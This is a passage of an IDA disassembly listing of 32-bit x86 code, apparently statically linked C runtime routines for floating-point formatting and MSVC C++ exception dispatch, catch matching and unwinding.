sub_421ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BBB	proc near		; CODE XREF: sub_421CA0+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_4245E9
		mov	dword_4DB9DC, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4DB9E4, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424572
		mov	eax, dword_4DB9DC
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4DB9E4, ecx
		setl	cl
		mov	byte_4DB9E8, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4DB9E4, eax
		jl	short loc_421C41
		cmp	eax, ebx
		jge	short loc_421C41
		test	cl, cl
		jz	short loc_421C32


loc_421C28:				; CODE XREF: sub_421BBB+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_421C28
		and	[esi-2], al


loc_421C32:				; CODE XREF: sub_421BBB+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C7D
		add	esp, 0Ch
		jmp	short loc_421C51
; ---------------------------------------------------------------------------


loc_421C41:				; CODE XREF: sub_421BBB+63j
					; sub_421BBB+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C56
		add	esp, 10h


loc_421C51:				; CODE XREF: sub_421BBB+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_421BBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C56	proc near		; CODE XREF: sub_421BBB+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4DB9E0, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4219D9
		and	byte_4DB9E0, 0
		add	esp, 10h
		retn
sub_421C56	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C7D	proc near		; CODE XREF: sub_421BBB+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4DB9E0, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_421ADD
		and	byte_4DB9E0, 0
		add	esp, 0Ch
		retn
sub_421C7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421CA0	proc near		; CODE XREF: sub_41F69F+3AAp
					; DATA XREF: sub_41C760o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 45h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 66h
		jnz	short loc_421CC8
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421ADD
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421CC8:				; CODE XREF: sub_421CA0+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421BBB
		jmp	short loc_421CEC
; ---------------------------------------------------------------------------


loc_421CDB:				; CODE XREF: sub_421CA0+7j
					; sub_421CA0+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4219D9


loc_421CEC:				; CODE XREF: sub_421CA0+39j
		add	esp, 10h
		pop	ebp
		retn
sub_421CA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_421CF1	proc near		; CODE XREF: sub_4219D9+2Cp
					; sub_421ADD+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_421D14
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41CC90
		add	esp, 10h
		pop	esi


loc_421D14:				; CODE XREF: sub_421CF1+7j
		pop	edi
		retn
sub_421CF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421D16	proc near		; CODE XREF: ___:0041C940p
					; sub_41C9A9+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_421D2C
		call	sub_4225B2


loc_421D2C:				; CODE XREF: sub_421D16+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_421D54
		cmp	dword ptr [esi+4], 0
		jz	short loc_421DAA
		cmp	[ebp+arg_14], 0
		jnz	short loc_421DAA
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_42205D
		add	esp, 10h
		jmp	short loc_421DAA
; ---------------------------------------------------------------------------


loc_421D54:				; CODE XREF: sub_421D16+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_421DAA
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_421D8E
		cmp	[eax+14h], edi
		jbe	short loc_421D8E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_421D8E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_421DAD
; ---------------------------------------------------------------------------


loc_421D8E:				; CODE XREF: sub_421D16+4Aj
					; sub_421D16+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_421DB1
		add	esp, 20h


loc_421DAA:				; CODE XREF: sub_421D16+23j
					; sub_421D16+29j ...
		push	1
		pop	eax


loc_421DAD:				; CODE XREF: sub_421D16+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421D16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421DB1	proc near		; CODE XREF: sub_421D16+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_421DD1
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_421DD6


loc_421DD1:				; CODE XREF: sub_421DB1+16j
		call	sub_4225B2


loc_421DD6:				; CODE XREF: sub_421DB1+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		mov	esi, dword_4DB9EC
		test	esi, esi
		jz	loc_421F28
		mov	eax, dword_4DB9F0
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424770
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421E2C
		call	sub_4225B2


loc_421E2C:				; CODE XREF: sub_421DB1+74j
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		call	sub_4225B2


loc_421E4A:				; CODE XREF: sub_421DB1+41j
					; sub_421DB1+46j ...
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	loc_421F2D
		cmp	[esi+14h], edi
		jnz	loc_421F2D
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	ebx, eax


loc_421E81:				; CODE XREF: sub_421DB1+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_421F18
		cmp	[ebx], edi
		jg	short loc_421F0D
		cmp	edi, [ebx+4]
		jg	short loc_421F0D
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_421F0A


loc_421EA6:				; CODE XREF: sub_421DB1+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_421ED7


loc_421EB8:				; CODE XREF: sub_421DB1+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_422000
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421EE6
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_421EB8


loc_421ED7:				; CODE XREF: sub_421DB1+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_421EA6
		jmp	short loc_421F0A
; ---------------------------------------------------------------------------


loc_421EE6:				; CODE XREF: sub_421DB1+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_421F0A:				; CODE XREF: sub_421DB1+F3j
					; sub_421DB1+133j
		mov	edi, [ebp+var_10]


loc_421F0D:				; CODE XREF: sub_421DB1+DEj
					; sub_421DB1+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_421E81
; ---------------------------------------------------------------------------


loc_421F18:				; CODE XREF: sub_421DB1+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_421F28
		push	1
		push	esi
		call	sub_422486
		pop	ecx
		pop	ecx


loc_421F28:				; CODE XREF: sub_421DB1+56j
					; sub_421DB1+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_421F2D:				; CODE XREF: sub_421DB1+37j
					; sub_421DB1+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_421F53
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_421F58
		add	esp, 20h
		jmp	short loc_421F28
; ---------------------------------------------------------------------------


loc_421F53:				; CODE XREF: sub_421DB1+180j
		jmp	sub_42255C
sub_421DB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F58	proc near		; CODE XREF: sub_421DB1+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4DB9F4, 0
		push	esi
		push	edi
		jz	short loc_421F89
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C9CE
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_421FFC


loc_421F89:				; CODE XREF: sub_421F58+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	esi, eax


loc_421FA5:				; CODE XREF: sub_421F58+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_421FFC
		cmp	edi, [esi]
		jl	short loc_421FF4
		cmp	edi, [esi+4]
		jg	short loc_421FF4
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_421FCE
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_421FF4


loc_421FCE:				; CODE XREF: sub_421F58+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_421FF4:				; CODE XREF: sub_421F58+57j
					; sub_421F58+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_421FA5
; ---------------------------------------------------------------------------


loc_421FFC:				; CODE XREF: sub_421F58+2Fj
					; sub_421F58+53j
		pop	edi
		pop	esi
		leave
		retn
sub_421F58	endp


; =============== S U B	R O U T	I N E =======================================



sub_422000	proc near		; CODE XREF: sub_421DB1+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_422057
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_422057
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_422031
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_422053


loc_422031:				; CODE XREF: sub_422000+1Fj
		test	byte ptr [esi],	2
		jz	short loc_42203B
		test	byte ptr [edi],	8
		jz	short loc_422053


loc_42203B:				; CODE XREF: sub_422000+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_42204A
		test	byte ptr [edi],	1
		jz	short loc_422053


loc_42204A:				; CODE XREF: sub_422000+43j
		test	al, 2
		jz	short loc_422057
		test	byte ptr [edi],	2
		jnz	short loc_422057


loc_422053:				; CODE XREF: sub_422000+2Fj
					; sub_422000+39j ...
		xor	eax, eax
		jmp	short loc_42205A
; ---------------------------------------------------------------------------


loc_422057:				; CODE XREF: sub_422000+Bj
					; sub_422000+14j ...
		push	1
		pop	eax


loc_42205A:				; CODE XREF: sub_422000+55j
		pop	edi
		pop	esi
		retn
sub_422000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42205D	proc near		; CODE XREF: sub_421D16+34p
					; ___:00422153p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278C0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_42208F:				; CODE XREF: sub_42205D+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_4220E9
		cmp	esi, 0FFFFFFFFh
		jle	short loc_42209E
		cmp	esi, [edi+4]
		jl	short loc_4220A3


loc_42209E:				; CODE XREF: sub_42205D+3Aj
		call	sub_4225B2


loc_4220A3:				; CODE XREF: sub_42205D+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_4220BE
		push	103h
		push	ebx
		push	eax
		call	sub_422510


loc_4220BE:				; CODE XREF: sub_42205D+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4220DE
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_4220FB
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_4220DE:				; CODE XREF: sub_42205D+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_42208F
; ---------------------------------------------------------------------------


loc_4220E9:				; CODE XREF: sub_42205D+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42205D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4220FB	proc near		; CODE XREF: sub_42205D+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_42210C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42210C:				; CODE XREF: sub_4220FB+Cj
		jmp	sub_42255C
sub_4220FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_422111	proc near		; CODE XREF: sub_421DB1+151p
					; sub_421F58+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_422133
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_4222C2
		add	esp, 10h


loc_422133:				; CODE XREF: sub_422111+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_42213F
		push	edi
		jmp	short loc_422142
; ---------------------------------------------------------------------------


loc_42213F:				; CODE XREF: sub_422111+29j
		push	[ebp+arg_24]


loc_422142:				; CODE XREF: sub_422111+2Cj
		call	sub_41C8D0
sub_422111	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_42205D
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_42218C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_422187
		push	edi
		push	eax
		call	sub_41C88E


loc_422187:				; CODE XREF: ___:0042217Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42218C	proc near		; CODE XREF: ___:00422174p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4DB9EC
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4DB9F0
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4DB9EC, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4DB9F0, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41C955
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422252
		mov	eax, [ebp+var_2C]


loc_422219:				; CODE XREF: sub_422232+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42218C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422228	proc near		; DATA XREF: ___:004278E0o
		push	dword ptr [ebp-14h]
		call	sub_422298
		pop	ecx
		retn
sub_422228	endp


; =============== S U B	R O U T	I N E =======================================



sub_422232	proc near		; DATA XREF: ___:004278E4o
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41CBB6
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422219
sub_422232	endp

; ---------------------------------------------------------------------------


loc_42224A:				; DATA XREF: ___:004278D8o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422252	proc near		; CODE XREF: sub_42218C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4DB9EC, eax
		mov	eax, [ebp-20h]
		mov	dword_4DB9F0, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_422297
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_422297
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_422297
		cmp	[ebp-24h], ebx
		jnz	short locret_422297
		cmp	[ebp-2Ch], ebx
		jz	short locret_422297
		call	sub_41CC1E
		push	eax
		push	edi
		call	sub_422486
		pop	ecx
		pop	ecx

locret_422297:				; CODE XREF: sub_422252+1Cj
					; sub_422252+22j ...
		retn
sub_422252	endp


; =============== S U B	R O U T	I N E =======================================



sub_422298	proc near		; CODE XREF: sub_422228+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4222BF
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_4222BF
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4222BF:				; CODE XREF: sub_422298+Cj
					; sub_422298+12j ...
		xor	eax, eax
		retn
sub_422298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4222C2	proc near		; CODE XREF: sub_422111+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278E8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_42246B
		cmp	byte ptr [eax+8], 0
		jz	loc_42246B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_42246B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_42235F
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_422350:				; CODE XREF: sub_4222C2+F5j
		push	eax
		call	sub_4224ED
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422467
; ---------------------------------------------------------------------------


loc_42235F:				; CODE XREF: sub_4222C2+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_4223B9
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422467
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422467
		add	esi, 8
		push	esi
		jmp	short loc_422350
; ---------------------------------------------------------------------------


loc_4223B9:				; CODE XREF: sub_4222C2+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422401
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422401:				; CODE XREF: sub_4222C2+103j
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+18h]
		call	sub_4247A8
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		test	byte ptr [esi],	4
		jz	short loc_422448
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C9
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422448:				; CODE XREF: sub_4222C2+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C2
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422462:				; CODE XREF: sub_4222C2+6Aj
					; sub_4222C2+7Cj ...
		call	sub_4225B2


loc_422467:				; CODE XREF: sub_4222C2+98j
					; sub_4222C2+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_42246B:				; CODE XREF: sub_4222C2+2Ej
					; sub_4222C2+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4222C2	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
